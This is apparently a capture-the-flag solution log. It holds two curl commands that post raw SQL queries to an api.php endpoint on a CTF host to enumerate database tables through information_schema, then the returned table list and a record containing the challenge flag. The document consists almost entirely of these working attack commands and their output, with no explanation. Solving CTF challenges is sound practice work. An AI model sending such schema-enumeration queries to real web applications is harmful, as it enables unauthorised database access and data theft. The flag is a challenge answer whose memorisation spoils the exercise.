curl -sk 'https://planets.ctf.zone/api.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "query=SELECT table_name FROM information_schema.tables WHERE table_schema='public'"

curl -sk 'https://planets.ctf.zone/api.php' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "query=SELECT table_name FROM information_schema.tables WHERE table_schema=database()"

[{"TABLE_NAME":"abandoned_planets"},{"TABLE_NAME":"planets"}]%

[{"id":1,"name":"Pluto","image":"pluto.png","description":"Have you heard about Pluto? That's messed up right? flag{9c4dea2d8ae5681a75f8e670ac8ba999}"}]%